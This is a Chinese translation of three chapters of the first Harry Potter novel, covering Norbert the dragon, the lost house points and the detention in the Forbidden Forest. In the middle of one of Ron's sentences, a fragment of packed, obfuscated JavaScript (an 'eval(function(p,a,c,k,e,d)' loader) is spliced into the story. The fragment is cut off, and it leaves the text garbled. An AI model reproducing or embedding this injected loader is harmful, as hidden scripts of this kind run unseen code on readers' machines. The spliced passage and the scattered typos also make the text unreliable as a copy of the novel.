“噢,我认为这事不宜公开,”斯内普说,声音冷冰冰的,“毕竟,学生们是不应该知道魔法石的。” 哈利探身向前。奇洛正在嘀咕着什么。斯内普打断了他。“你有没有弄清怎样才能制服海格的那头怪兽?” “可——可——可是,西弗勒斯,我——” “你不希望我与你为敌吧,奇洛。”斯内普说着,朝他逼近了一步。“我——我不知——知道你——” “你很清楚我的意思。” 一只猫头鹰高声叫了起来,哈利差点儿从树上摔了下去。他稳住自己,正好听见斯内普说,“——你的秘密小花招。我等着。” “可——可是,我不——不——不——” “很好。”斯内普打断了他,“过不了多久,等你有时间考虑清楚,决定了为谁效忠之后,我们还会再谈一次。” 他用斗篷罩住脑袋,大步流星地走出了空地。天几乎完全黑了,但哈利仍能看见奇洛一动不动地站在那里,像一具泥塑木雕。 “哈利,你上哪儿去了?”赫敏尖声地说。 “我们赢了!你赢了!我们赢了!”罗恩重重地拍着哈利的后背,大声喊道,“我把马尔福的眼睛打青了。纳威一个人对付克拉布和高尔!他还完全昏迷着,但庞弗雷夫人说他会好起来的——谈谈教训斯莱特林的经过吧!大伙儿都在公共休息室里等着你呢,我们正在搞一个庆祝会,弗雷德和乔治从厨房里偷了一些蛋糕什么的。” “先别管那些,”哈和气喘吁吁地说,“我们找一间空屋子,你们听我告诉你们...” 哈利确信皮皮鬼不在屋里之后,才回身关上房门,然后把他刚才看到和听到的情形告诉了他们。 “这么说,我们分析得对,那东西就是魔法石,斯内普想强迫奇洛帮助他拿到那块石头。他问奇洛是不是知道怎样制服路威——并提到奇洛的‘秘密小花招’——我猜想,除了路威,大概还有其他机关在守护着那块石头,很可能有一大堆魔法巫术,说不定奇洛就施了一些反黑魔法的咒语,斯内普需要把它们解除——” “你的意思是说,只有当奇洛能够抵抗斯内普时,魔法石才是安全的?”赫敏惊慌地问。 “那石头下个星期二就不在了。”罗恩说。 15. 诺伯 然而,奇洛肯定要比他们所想的勇敢得多。在之后的几个星期中,他看上去确实越来越苍白、消瘦,但并没有显出彻底垮掉的样子。 每次经过三搂走廊,哈利、罗恩和赫敏都要把耳朵贴在门上,听听路威是不是还在里面低声咆哮。斯内普整天在学校里大步流星地走来走去,脾气和往常一样暴躁,这无疑说明魔法石还是安全的。这些日子,哈利每次在路上碰到奇洛,都要给他一个含有鼓励意味的微笑;罗恩也开始劝说人们别再嘲笑奇洛的结巴。 赫敏呢,除了魔法石之外,还操心着更多的事情。她已经开始制订复习计划,并在她所有的笔记上标出不同的颜色。哈利和罗恩本来满不在乎,但她不停地对他们唠叨,叫他们也这样做。 “赫敏,考试离我们还有好几百年呢。” “十个星期,”赫敏反驳道,“不是好几百年,对尼可·勒梅来说,只是一眨眼的工夫。” “可是我们也没有六百岁啊,”罗恩提醒她,“而且,不管怎么说,你为什么还要复习呢,你已经什么都知道了。” “我为什么要复习?你疯了吗?你知不知道,我们要通过这些考试才能升入二年级?它们是很重要的,我应该在一个月前就开始温习的,真不知道我当时是怎么了...” 不幸的是,老师们的想法似乎和赫敏是一样的。他们布置了一大堆家庭作业,复活节假期远不如圣诞节的时候那样充满乐趣。有赫敏在旁边背诵龙血的十二种用途,或者练习魔杖的动作,你就很难轻轻松松地休息。哈利和罗恩只好用大部分空余时间陪她一起待在图书馆里,唉声叹气,哈欠连天,拼命完成繁重的功课。 “我永远也记不住这个。”一天下午,罗恩终于受不了了,他把羽毛笔一扔。眼巴巴地看着图书馆的窗外。几个月来,他们第一次碰到这样的好天气。天空清澈明净,蓝得像勿忘我花的颜色,空气里有一种夏天即将来临的气息。 哈利只顾埋头在《千种神奇药草和蕈类》里查找“白鲜”,突然他听见罗恩说:“海格!你到图书馆来做什么?” 海格踢踢踏踏地走了过来,把什么东西藏在了身后。他穿着鼹鼠皮大衣,显得很不合时宜。 “随便看看,”海格说,声音躲躲闪闪,一下子就引起了他们的兴趣。“你们在这里干嘛?”他突然显得疑心起来。“还在查找尼可·勒梅,是吗?” “哦,我们几百年前就弄清他是何许人了,”罗恩得意洋洋地说,“我们还知道那条狗在看守什么,是魔法石——” “嘘——!”海格飞快地四下张望,看有没有人听见,“不要大声嚷嚷,你们到底想干什么?” “说实话,我们有几件事想问问你,”哈利说,“是关于守护魔法石的机关,除了路威——” “嘘——”海格又说,“听着——过会儿来找我,记住,我可没答应要告诉你们什么,可是别在这里瞎扯呀,有些事情学生是不应该知道的。他们会以为是我告诉你们的——” “那么,待会儿见。”哈利说。海格踢踢踏踏地走了。“他把什么藏在背后?”赫敏若有所思地说。“你认为会与魔法石有关吗?” “我去看看他刚才在我什么书。”罗恩说,他读书早就读得不耐烦了。一分钟后,他回来了,怀里抱着一大堆书,把它们重重地扔到桌上。 “龙!”他低声说,“海格在查找关于龙的资料!看看这些:《大不列颠和爱尔兰的龙的种类》、《从孵蛋到涅槃》、《养龙指南》。” “海格一直想要一条龙,我第一次见到他时,他就对我这么说过。”哈利说。 “但这是犯法的,”罗恩说,“一七零九年的巫师大会上,正式通过了禁止养龙的法案,这是每个人都知道的。如果我们在后花园里养龙,就很难不让麻瓜注意到我们——而且,你很难把它们驯服,这是很危险的。你真应该看看查理身上那些被烧伤的地方,都是罗马尼亚的野龙给他留下的。” “可是不列颠就没有野龙吗?”哈利说。 “当然有,”罗恩说,“有普通威尔士绿龙和赫布里丁黑龙。我可以告诉你,魔法部有一项工作就是隐瞒这些野龙的存在。我们的巫师不得不经常给那些看到野龙的麻瓜们念咒,使他们把这件事忘得一干二净。” “那么海格到底想做什么呢?”赫敏说。 一小时后,他们敲响了狩猎场看守的小屋门。他们吃惊地发现,所有的窗帘都被拉得严严实实。海格先是喊了一句“谁呀?”才让他们进屋,接着又赶紧回身把门关上了。 小屋里热得令人窒息。尽管是这样一个温暖的晴天,壁炉里还燃着熊熊的旺火。海格给他们沏了茶,还端来了白鼬三明治,他们婉言谢绝了。 “这么说——你们有话要问我?” “是的。”哈利说。没有必要拐弯抹角。“我们不知道你能不能告诉我们,除了路威以外,守护魔法石的还有什么机关?” 海格朝他们皱起了眉头。 “我当然不能说。”他说,“第一,我自己也不知道。第二,你们已经知道得太多了,所以我即使知道也不会告诉你们。那块石头在这里是很有道理的。它在古灵阁差点被人偷走——我猜你们把这些也弄得一清二楚了吧?真不明白你们怎么连路威的事都知道。” “哦,海格,你大概是不想告诉我们吧,你肯定是知道的。这里发生的事情,有哪一件能逃过你的眼睛呢。”赫敏用一种甜甜的、奉承的口气说。海格的胡子抖动起来,他们看出他在笑呢。“实际上,我们只想知道是谁设计了那些机关。”赫敏继续说道,“我们想知道,除了你以外,邓布利多还相信谁能够帮助他呢。” 听了最后这句话,海格挺起了胸脯。哈利和罗恩对赫敏露出满意的微笑。 “好吧,对你们说说也无妨——让我想想——他从我这里借去了路威——然后请另外几个老师施了魔法...斯普劳特教授——弗立维教授——麦格教授——”他扳着手指数着,“奇洛教授——当然啦,邓布利多自己也施了魔法。等一下,我还忘记了一个人。哦,对了,是斯内普教授。” “斯内普?” “是啊——难道你们还在怀疑他,嗯?瞧,斯内普也帮着一块儿保护魔法石了,他不会去偷它的。” 哈利知道罗恩和赫敏内心的想法跟他一样。既然斯内普也参加了保护魔法石的工作,他一定很容易弄清其他老师设下了什么机关。他很可能什么都知道了——似乎只除了奇洛的魔法和怎样通过路威。 “只有你一个人知道怎样通过路威,是吗,海格?”哈利急切地问,“你不会告诉任何人的,是吗?即使是老师也不告诉,是吗?” “除了我和邓布利多,谁也别想知道。”海格骄傲地说。 “那就好,那就好。”哈利对其他人小声咕哝了一句。“海格,我们能不能开一扇窗户呢?我热坏了。” “不能,哈利,对不起。”海格说。哈利注意到他朝壁炉那儿扫了一眼。哈利便也扭头看着炉火。 “海格——那是什么?” 其实他已经知道了。在炉火的正中央,在水壶的下面,卧着一只黑糊糊的大蛋。 “呵,”海格局促不安地捻着胡子说,“那是——哦...” “你从哪儿弄来的,海格?”罗恩说着,蹲到火边,更仔细地端详那只大蛋。“肯定花了你一大笔钱吧!” “赢来的。”海格说,“昨晚,我在村子里喝酒,和一个陌生人玩牌来着。说实在的,那人大概正巴不得摆脱它呢。” “可是,等它孵出来以后,你打算怎么办呢?”赫敏问。 “噢,我一直在看书。”海格说着,从他的枕头底下抽出一本大部头的书,“从图书馆借来的——《为消遣和盈利而养龙》——当然啦,已经有点过时了,但内容很全。要把蛋放在火里,因为它们的妈妈对着它们呼气。你们看,这里写着呢,等它孵出来后,每半个小时喂它一桶白兰地酒加鸡血。再看这里——怎样辨别不同的蛋——我得到的是一只挪威脊背龙。很稀有的呢。” 他看上去很得意的样子,赫敏却不以为然。“海格,别忘了你住在木头房子里。”她说。 但是海格根本没有听。他一边拨弄着炉火,一边快乐地哼着小曲儿。现在,他们又有新的事情要操心了:如果有人发现海格在他的小屋里非法养龙,会把他怎么样呢? “真想知道和平安宁的日子是什么样的。”罗恩叹着气说。一个晚上接一个晚上,他们奋力完成老师布置的那一大堆家庭作业。赫敏已经开始为哈利和罗恩制订复习计划了。这简直要把他们逼疯了。 然后,在一天吃早饭的时候,海德薇又给哈利捎来一张海格的纸条。上面只写着四个字:快出壳了。 罗恩不想上草药课了,想直奔海格的小屋。赫敏坚决不同意。 “赫敏,我们一辈子能看见几次小龙出壳啊?” “我们要上课,不然我们会惹麻烦的;如果有人发现海格做的事情,他会比我们更倒霉的——” “别说了。”哈利小声警告。 马尔福就在离他们几步远的地方,停下来听他们说话。给他听去了多少?哈利真讨厌马尔福脸上的那副表情。 在草药课上,罗恩一直在和赫敏辩论。最后,赫敏终于答应在上午课间休息时,和他们俩一起跑到海格的小屋里去看看。下课的时候,城堡里刚刚传出声响,他们三个就扔下小铲子,匆匆跑过场地,朝森林禁地的边缘奔去。海格迎接了他们,他满面红光,非常兴奋。 “快要出来了。”他把他们让进小屋。那只蛋躺在桌上,上面已经有了一条深深的裂缝。有什么东西在里面不停地动着,传出一种很好玩的咔嗒咔嗒的声音。他们都把椅子挪得更靠近桌子,屏住呼吸,密切注视着。 突然,随着一阵刺耳的擦刮声,蛋裂开了。小龙在桌上摇摇摆摆地扑腾着。它其实并不漂亮;哈利觉得它的样子就像一把皱巴巴的黑伞。它多刺的翅膀与它瘦瘦的乌黑身体比起来,显得特别的大。它还有一只长长的大鼻子,鼻孔是白色的,脑袋上长着角疙瘩,橘红色的眼睛向外突起。 它打了个喷嚏,鼻子里喷出几点火星。 “它很漂亮,是不是?”海格喃喃地说。他伸出一只手,摸了摸小龙的脑袋。小龙一口咬住他的手指,露出尖尖的长牙。 “天哪,你们看,它认识它的妈妈!”海格说。 “海格,”赫敏说,“挪威脊背龙长得到底有多快?”海格正要回答,突然脸色刷地变自了——他一跃丽起,奔向窗口。 “怎么回事?” “有人刚才透过窗帘缝儿偷看——是个男孩——正往学校里跑呢。” 哈利一下子蹿到门边,向外望去。即使隔着一段距离,他也绝不会认错。 马尔福看见了小龙。 在接下来的一个星期里,马尔福脸上隐藏的不怀好意的笑容使得哈利、罗恩和赫敏非常不安。他们大部分业余时间都待在海格昏暗的小屋里,对他摆事实讲道理。 “你就让它走吧,”哈利劝道,“把它放掉。” “我不能,”海格说,“它太小了,会死掉的。” 他们打量着小龙。短短一个星期,它的长度已经是原来的三倍。一团团的烟从它鼻孔里喷出来。海格把看守狩猎场的工作撇在了一边,因为小龙弄得他手忙脚乱。地上扔满了空的白兰地酒瓶和鸡毛。 “我决定叫它诺伯,”海格用泪水模糊的眼睛看着小龙,说,“它现在真的认识我了,你们看着。诺伯!诺伯!妈妈在哪儿?” “海格,”哈利提高了嗓门,“再过两个星期,诺伯就会变得跟你的房子一样长。马尔福随时都可能去找邓布利多。” 海格咬着嘴唇。“我——我知道我不能永远养着它,可我不能就这样把它扔掉,不能啊。” 哈利突然转向罗恩。“查理。”他说。 “你也犯糊涂了,”罗恩说,“我是罗恩,记得吗?” “不——查理——你的哥哥查理。在罗马尼亚,研究龙的查理。我们不妨把诺伯送给他。查理可以照料它,然后把它放回野生环境里。” “太棒了!”罗恩说,“怎么样,海格?”最后,海格总算同意他们先派一只猫头鹰去问问查理。 接下来的一个星期简直度日如年。 星期三晚上,在别人都已上床睡觉之后,赫敏和哈利仍坐在公共休息室里。墙上的钟刚敲过十二点,肖像洞突然被打开了。罗恩脱下哈利的隐形衣,仿佛从天而降一般。 他刚才到海格的小屋去帮他喂诺伯,诺伯现在开始吃用木板箱装的死老鼠了。 “它咬了我!”罗恩说着,给他们看他的手,上面包着沾满血迹的手绢。“我一星期都没法拿笔了。告诉你们吧,龙是我见过的最可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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哈利和赫敏竭力使罗恩平静下来。 “到了星期六午夜,就一切都结束了。”赫敏说,但这丝毫没有使罗恩得到安慰。恰恰相反,他腾地从床上坐了起来,急出了一身冷汗。 “星期六午夜!”他声音嘶哑地说,“哦,糟糕——哦,糟糕——我刚想起来——查理的信就夹在马尔福借走的那本书里,他一定知道我们要弄走诺伯了。” 哈利和赫敏没有来得及回答,庞弗雷夫人正好在这个时候走了进来,叫他们离开,她说罗恩需要睡觉了。 “已经来不及改变计划了,”哈利对赫敏说,“我们没有时间再派一只猫头鹰去找查理,而且这大概是我们摆脱诺伯的唯一机会了,我们不得不冒一次险,我们有隐形衣呢,这是马尔福不知道的。” 他们去通知海格时,发现大猎狗牙牙坐在门外,尾巴上包着绷带。海格打开窗户跟他们说话。“我不能让你们进来,”他喘着气说,“诺伯现在很难对付——我拿它没有办法。” 他们把查理来信的事对他说了,他的眼里噙满泪水,不过这也可能是因为诺伯刚刚咬了他的腿。 “呵呵!没关系,它只咬了我的靴子——它是在玩耍呢——说到底,它还是个小毛娃啊。”小毛娃用尾巴梆梆地敲着墙,震得窗户咔咔直响。哈利和赫敏走回城堡,心里盼望着星期六早点到来。 海格要跟诺伯告别了,哈利和赫敏如果不是忧心忡忡地想着即将采取的行动,一定会为海格感到难过的。那是一个漆黑的、阴云密布的夜晚,他们到达海格的小屋时已经有点晚了,因为皮皮鬼在门厅里对着墙壁打网球,他们只好一直等到他离开。 海格已经把诺伯装进一只大板条箱,准备就绪了。 “给它准备了许多老鼠,还有一些白兰地酒,够它一路上吃的了。”海格用沉闷的声音说,“我还把它的玩具熊也放了进去,免得它觉得孤单。”板条箱里传出了撕扯的声音,哈利觉得似乎玩具熊的脑袋被扯掉了。 “再见,诺伯!”海格抽抽搭搭地说,“妈妈不会忘记你的!”哈利和赫敏用隐形衣罩住板条箱,随即自己也钴到了袍子下面。 怎么把板条箱搬到塔楼上去呢,他们心里没底。随着午夜一分一秒地临近,他们抬着诺伯走上门厅的大理石台阶,走过漆黑一片的走廊。上了一层楼,又上一层楼——尽管哈利抄了近路,也一点儿不省劲儿。 “快到了!”他们到了最高塔楼下面一层的走廊上,哈利喘着气说。 前面突然有了动静,吓得他们差点扔掉了手里的箱子。 他们忘了自己已经隐形,赶紧退缩到阴影里,看着离他们十来步远的地方,两个黑糊糊的人影在互相扭打。一盏灯在闪亮。 是麦格教授,穿着格子花纹的晨衣,戴着发网,揪着马尔福的耳朵。“关禁闭!”她喊道,“斯莱特林扣掉二十分!半夜三更到处乱逛,你怎么敢——” “你没有明白,教授,哈利·波特要来了——他带着一条龙!” “完全胡说八道!你怎么敢编出这样的谎话!走——我倒要看看斯内普教授怎么处置你,马尔福!” 摆脱了马尔福之后,通向塔楼的那道陡直的旋转楼梯似乎是世界上最轻松的一段路程了。他们一直来到寒冷的夜空下,才脱掉了隐形衣。多好啊,终于又能自如地呼吸了。赫敏还跳起了一种快步舞。 “马尔福要被关禁闭了!我真想唱歌!” “别唱。”哈利提醒她。 他们一边等待,一边咯咯地嘲笑马尔福,诺伯在箱子里剧烈地动个不停。大约十分钟后,四把扫帚突然从黑暗中降落了。 查理的朋友都是性情快活的人。他们给哈利和赫敏看了他们临时拴好的几道绳索,这样他们就能把诺伯悬挂在他们中间了。他们七手八脚地把诺伯安全地系在绳索上,然后哈利和赫敏跟他们握了握手,又对他们说了许多感谢的话。 终于,诺伯走了...走了...不见了。 他们悄悄走下旋转楼梯,总算摆脱了诺伯这个沉重的负担,他们的心情和手一样轻快。龙走了——马尔福将被关禁闭——还有什么能破坏他们的这份喜悦呢? 答案就在楼梯下面等着呢。他们一跨进走廊,费尔奇的脸就突然从黑暗里显现出来。 “糟了,糟了,糟了,”哈利低声说,“我们有麻烦了。” 他们把隐形衣忘在塔楼顶上了。 16. 禁林 事情糟得不能再糟了。 费尔奇把他们领到二楼麦格教授的书房,他们坐在那里,一句话也不说。赫敏浑身发抖。哈利的脑海里飞快地设想出许多为自己辩解的借口和理由,还编了一些谎话想蒙混过关,但发现它们一个比一个站不住脚。 他不知道这次他们有什么办法摆脱困境。他们走投无路了。唉,他们怎么就这么糊涂,居然把隐形衣给忘了!无论他们摆出什么理由,麦格教授都不会原谅他们深更半夜不睡觉,在学校里鬼鬼祟祟地游荡,而且还爬到了最高的天文塔上,那里除了平常上课是不能上去的。再加上诺伯和隐形衣,他们早就该收拾行李回家了。 哈利认为事情糟得不能再糟吗?他错了。当麦格教授回来时,她后面跟着纳威。 “哈利!”纳威一看见他们两个,就脱口而出,“我一直在找你们,想给你们提个醒儿,我听见马尔福说他要来抓你,他说你有一条龙——” 哈利拼命摆手,不让纳威再说下去,可是被麦格教授看见了。她高高耸立在他们三个人面前,似乎比诺伯更有可能喷出火来。 “我真不敢相信是你们几个人。费尔奇说你们到天文塔上去了。别忘了现在是凌晨一点钟。自己解释一下吧。” 这是赫敏第一次回答不出老师的提问。她低头盯着自己的拖鞋,像雕像一样一动不动。 “我认为我完全明白这是怎么回事,”麦格教授说,“要弄清楚这件事,并不需要脑筋有多么灵光。你们凭空编出一套谎话告诉德拉科·马尔福,说有一条龙什么的,想把他从床上骗出来,害他倒霉。我已经抓住他了。没想到隆巴顿也听到了这套谎话并且信以为真,我猜你们觉得这很有趣吧?” 哈利捕捉到纳威的目光,想用无声的语言告诉他不是这么回事,因为纳威显得既吃惊又委屈。可怜的、莽莽撞撞的纳威——哈利知道,纳威在黑夜里跑出来寻找他们,要给他们提个醒,这需要多么大的勇气啊。 “我感到很气愤,”麦格教授说,“一晚上有四个学生不睡觉!这种事情我以前还从未听说过!你,格兰杰小姐,我原以为你头脑更清醒一些。至于你,波特先生,我原以为你是十分看重格兰芬多荣誉的。你们三个都要被关禁闭——是的,还有你,隆巴顿先生,不管是怎么回事,你都无权半夜三更在学校里乱逛,这是非常危险的——格兰芬多被扣掉五十分。” “五十?”哈利觉得喘不过气来——他们的领先地位保不住了,这名次还是他在上次魁地奇比赛中好不容易赢来的。 “每人五十分。”麦格教授说,长长的尖鼻子喷着粗气。 “教授——求求您——” “您不能——” “不用你告诉我说我能做什么,不能做什么,波特。好了,你们都上床去吧。我从未像现在这样为格兰芬多的学生感到脸红。” 一下子丢掉一百五十分。这样一来,格兰芬多就落到最后一名了。仅仅一个晚上,他们就摧毁了格兰芬多赢得学院杯的所有希望。 哈利觉得心里一下子空落落的。这样大的损失,他们还有没有可能弥补呢?哈利整夜无法入睡。他可以听见纳威伏在枕头上哭泣,哭了很长时间。哈利不知道说什么话来安慰他。他知道纳威像他自己一样,都很害怕黎明的到来。 当格兰芬多的其他学生知道了他们做的好事,会怎么样呢? 第二天,格兰芬多的学生们经过记录学院杯比分的巨大沙漏时,还以为出了什么差错。他们怎么可能突然比昨天少了一百五十分呢?随后,事情就慢慢传开了:哈利·波特,大名鼎鼎的哈利·波特,两次魁地奇比赛的英雄,竟然害得他们丢掉了这么多分数,他,还有另外两个愚蠢的一年级学生。 哈利原是学校里最受欢迎、最受敬佩的人物之一,现在一下子变成了众矢之的。就连拉文克劳和赫奇帕奇的学生们也没有好脸色给他,因为大家本来一直希望看到斯莱特林输掉学院杯。哈利不管走到哪里,人们都对他指指点点,而且说一些侮辱他的话时也并不把声音放低。另一方面,每当他从斯莱特林们身边走过时,他们总是又鼓掌,又吹口哨,欢呼喝彩。“谢谢你,波特,你帮了我们一个大忙!” 只有罗恩和他站在一边。 “过几个星期,他们就会把这些忘得一干二净的。弗雷德和乔治自从入学以来,就一直在丢分,人们照样很喜欢他们。” “但他们从来没有一下子丢掉一百五十分,是吗?”哈利忧伤地说。 “嗯——那倒没有。”罗恩承认。 损失已经造成,后悔也来不及了,哈利对自己发誓,从今往后,他再也不去多管闲事了。他再也不偷偷摸摸地乱转,暗中监视什么了。他为自己感到非常羞愧,就去找到伍德,表示要退出魁地奇队。 “退出?”伍德大声斥责道,“那有什么用?如果我们赢不了魁地奇比赛,又怎么可能把分数挣回来呢?” 可是,对哈利来说,就连魁地奇也失去了原有的乐趣。训练时,其他队员都不跟他说话,如果不得不提到他,他们就管他叫“找球手”。 赫敏和纳威也很痛苦。他们的日子不像哈利那样难熬,因为他们没有他那么出名,但是也没有人愿意跟他们说话了。赫敏在班上不再抛头露面,总是低着头,默默地学习着。 哈利简直很高兴快要考试了。他必须埋头复习,这就使他暂时忘却了烦恼。他、罗恩和赫敏三个人总是单独在一起,每天复习到深夜,努力记住复杂的魔药配方,记住那些魔法和咒语,记住重大魔术发明和妖精叛乱的日期...然而,就在考试前的一个星期,哈利不再多管闲事的决心受到了一次意外的考验。那天下午,他独自一个人从图书馆出来,听见有入在前面的教室里抽抽搭搭地哭泣。他走近几步,听出是奇洛的声音。 “不行——不行——不能再干了,求求你——” 听上去似乎有人在威胁他。哈利再走近几步。 “好吧——好吧——”他听见奇洛在抽泣。 接着,奇洛匆匆走出教室,一边整理着他的围巾。他脸色苍白,好像快要哭出声来似的,大步地走出了哈利的视线。哈利觉得奇洛根本就没有注意到自己。他一直等到奇洛的脚步声昕不见了,才朝教室里望去。里面空无一人,但另一边的那扇门开了一道缝。哈利正要走过去,突然想起他对自己的保证,再也不能多管闲事了。 不过,他愿意拿十二块魔法石打赌:刚才离开教室的是斯内普,从脚步声听,斯内普的步子陡然变得轻快了——看来奇洛终于投降了。 哈利返回图书馆,赫敏正在那里为罗恩测验天文学。哈利把他刚才听到的告诉了他们。“这么说,斯内普终于得手了!”罗恩说,“如果奇洛告诉了他怎样解除他的反黑魔法咒语——” “别忘了还有路威呢。”赫敏说。 “说不定斯内普已经知道了怎样通过路成,根本用不着去问海格。”罗恩说道,抬头看着他们周围的无数本书,“我敢说这里肯定藏着一本书,可以告诉你怎样通过一条三个脑袋的大狗。那么我们怎么办呢,哈利?” 渴望冒险的光芒又在罗恩的眼睛里闪烁了,可是赫敏赶在哈利前面答话了。 “去找邓布利多。我们早就应该这么做了。如果我们再要单独行动,肯定会被学校开除的。” “可是我们没有证据!”哈利说,“奇洛怕得要命,肯定不会出来为我们作证。斯内普只要说他不知道万圣节前夕那个巨怪是怎么进来的,他根本没在四楼附近——你们说他们会相信谁,是斯内普还是我们?我们恨斯内普,这已经不是什么秘密,邓布利多会认为我们编出这套鬼话,是想害得斯内普被开除。费尔奇如果生命受到威胁,也不会帮助我们的。他和斯内普的关系太密切了,而且他还会认为被开除的学生越多越好。还有,别忘了,我们是不应该知道魔法石和路威的。那要解释起来就太麻烦了。” 赫敏似乎被他说服了,可是罗恩没有。 “如果我们到处侦察一下——” “不行,”哈利于脆地说,“我们已经侦察得够多的了。” 他把一张木星天文图拉到面前,开始复习木星卫星的名字。第二天早晨,哈利、赫敏和纳威在早饭桌上都收到了纸条。三张纸条一模一样:你的禁闭从今晚十一点开始。在门厅找费尔奇先生。麦格教授 哈利自从丢了分数以后,就一直遭到人们的白眼和唾弃,他几乎忘记了他们还要被关禁闭的事。他本来以为赫敏会抱怨一番,说又要耽误一晚上的复习时间,但她什么也没说。她和哈利一样,觉得他们理应受到这样的惩罚。 那天夜里十一点,他们在公共休息室里与罗恩告别,然后和纳威一起下楼来到门厅。费尔奇已经等在那里了——还有马尔福。哈利同样忘记了马尔福也是要关禁闭的。 “跟我来。”费尔奇说着,点亮一盏灯,领他们出去,“我认为,以后你们再想要违反校规,就要三思而行了,是不是,嗯?”他斜眼看着他们,继续说道:“哦,是啊...如果你们问我的话,我得说干活和吃苦是最好的老师...真遗憾他们废除了过去那种老式的惩罚方式...吊住你们的手腕,把你们悬挂在天花板上,一吊就是好几天。我办公室里还留着那些链条呢,经常给它们上上油,说不定哪一天就派上了用场...好了,走吧,可别想着逃跑。如果逃跑,你们更没有好果子吃。” 他们大步穿过漆黑的场地。纳威不停地抽着鼻子。哈利不知道他们将会受到什么惩罚。肯定是非常可怕的,不然费尔奇的口气不会这么欢快。 月光很皎洁,但不断有云飘过来遮住月亮,使他们陷入一片黑暗。哈利可以看见海格小屋里那些映着灯光的窗户。接着,他们听见远处传来一声喊叫。 “是你吗,费尔奇?快点,我要出发了。” 哈利的心欢腾起来;如果他们要和海格一起劳动,那就不算太糟。他一定在脸上表现出了这种宽慰的心情,只听费尔奇说:“你大概以为你会和那个蠢货一起玩个痛快吧?再好好想想吧,小子——你是要去禁林!如果你能安然无恙地出来,就算我估计错了。” 听了这话,纳威忍不住哼了一声,马尔福猛地停住了脚步。 “禁林?”他跟着说了一句,声音远不像平时那样冷静了,“我们不能在半夜里进去——那里面什么都有——我听说有狼人。” 纳威紧紧抓住哈利的衣袖,发出一声哽咽。 “那只能怪你自己,是不是?”费尔奇说,声音喜滋滋的,“你在惹麻烦之前,就应该想到这些狼人的,是不是?” 海格从黑暗中大步向他们走来,牙牙跟在后面。海格带着他巨大的石弓,肩上挂着装得满满的箭筒。 “时间差不多了,”他说,“我已经等了半个小时。怎么样,哈利,赫敏?” “不应该对他们这么客气,海格,”费尔奇冷冰冰地说,“毕竟,他们到这里来是接受惩罚的。” “所以你才迟到了,是吗?”海格冲费尔奇皱着眉头,说道,“一直在教训他们,嗯?这里可不是你教训人的地方。你的任务完成了,从现在起由我负责。” “我天亮的时候回来,”费尔奇说,“收拾他们的残骸。”他恶狠狠地说罢,然后转身朝城堡走去,那盏灯摇摇摆摆地消失在黑暗中。 这时马尔福转向了海格。“我不进那个禁林。”他说。 哈利高兴地听出他声音里透着一丝惊恐。 “如果你还想待在霍格沃茨,你就非去不可。”海格毫不留情地说,“你做了错事,现在必须付出代价。” “进这里干事是佣人的差使,不是学生干的。我还以为我们最多写写检查什么的。如果我父亲知道我在干这个,他会——” “——告诉你霍格沃茨就是这样的。”海格粗暴地说,“写写检查!这对你有什么好处?你得做点有用的事,不然就得滚蛋。如果你认为你父亲情愿让你被开除,你就尽管回城堡收拾行李去吧。走吧!” 马尔福没有动弹。他愤怒地看着海格,但随即又垂下了目光。 “好吧,”海格说,“现在仔细听着,我们今天晚上要做的事情非常危险,我不愿意让任何一个人遇到危险。先跟我到这边来。”他领着他们来到禁林边缘,把灯高高举起,指着一条逐渐隐入黑色密林深处的羊肠小路。他们往禁林里望去,一阵微风吹拂着他们的头发。 “你们往那边瞧,”海格说,“看见地上那个闪光的东西吗?银白色的?那就是独角兽的血。禁林里的一只独角兽被什么东西打伤了,伤得很重。这已经是一个星期里的第二次了。上星期三我就发现死了一只。我们要争取找到那头可怜的独角兽,使它摆脱痛苦。” “如果伤害独角兽的那个东西先发现了我们,怎么办呢?”马尔福问,他的声音里含着无法抑制的恐惧。 “只要你和我或者牙牙在一起,禁林里的任何生物都不会伤害你。”海格说,“不要离开小路。好了,现在我们要兵分两路,分头顺着血迹寻找。到处都是血迹,显然,它至少从昨天晚上起,就一直跌趺撞撞地到处徘徊。” “我要牙牙,”马尔福看着牙牙长长的牙齿,忙不迭地说。 “好吧,不过我提醒你,它可是个胆小鬼。”海格说,“那么,我、哈利和赫敏走一条路,马尔福、纳威和牙牙走另一条路。如果谁找到了独角兽,就发射绿色火花,明白吗?把你们的魔杖拿出来,练习一下——对了——如果有谁遇到了麻烦,就发射红色火花,我们都会过来找你——行了,大家多加小心——我们走吧。” 禁林里黑黝黝的,一片寂静。他们往里走了一段,就到了岔路口,哈利、赫敏和海格走左边的路,马尔福、纳威和牙牙走右边的路。 他们默默地走着,眼睛盯着地上。时不时地,一道月光从上面的树枝间洒下来,照亮了落叶上一块银蓝色的血迹。 哈利看出海格显得很焦虑。 “会是狼人杀死了独角兽吗?”哈利问。 “不会有这么快,”海格说,“抓住一只独角兽是很不容易的,它们这种动物具有很强的魔法。我以前从没听说过独角兽受到伤害。” 他们走过一个布满苔藓的树桩。哈利可以听见潺潺的流水声,显然,附近什么地方有一道溪流。在蜿蜒曲折的小路上,仍然散落着斑斑点点的独角兽血迹。 “你没事吧,赫敏?”海格低声问。“不要担心,既然它伤得这样重,就不可能走得很远,我们很快就能——不好,快躲到那棵树后面去!” 海格一把抓住哈利和赫敏,提着他们离开小路,藏到一棵高耸的栎树后面。他抽出一枚箭,装在石弓上,举起来准备射击。三个人侧耳细听。什么东西在近旁的落叶上嗖嗖地滑行:那声音就像是斗篷在地面上拖曳。 海格眯着眼注视着漆黑的小路,几秒钟后,声音渐渐消失了。 “我知道了,”他喃喃地说,“有一样东西,它原本是不属于这里的。” “狼人?”哈利问道。 “不是狼人,也不是独角兽。”海格肯定地说,“好了,跟我来吧,现在可得小心了。” 他们走得比刚才更慢了,竖着耳朵,捕捉最细微的声音。突然,在前面的空地上,他们清清楚楚地看见一个什么东西在动。 “谁在那儿?”海格喊道,“快出来——我带着武器呢!” 那东西应声走进了空地——它到底是人,还是马?腰部以上是人,红色的头发和胡子,但腰部以下却是棕红色的发亮的马身,后面还拖着一条长长的红尾巴。哈利和赫敏吃惊地张大嘴巴。 “哦,原来是你,罗南。”海格松了一口气,说道,“你好吗?”他走上前,和马人握了握手。 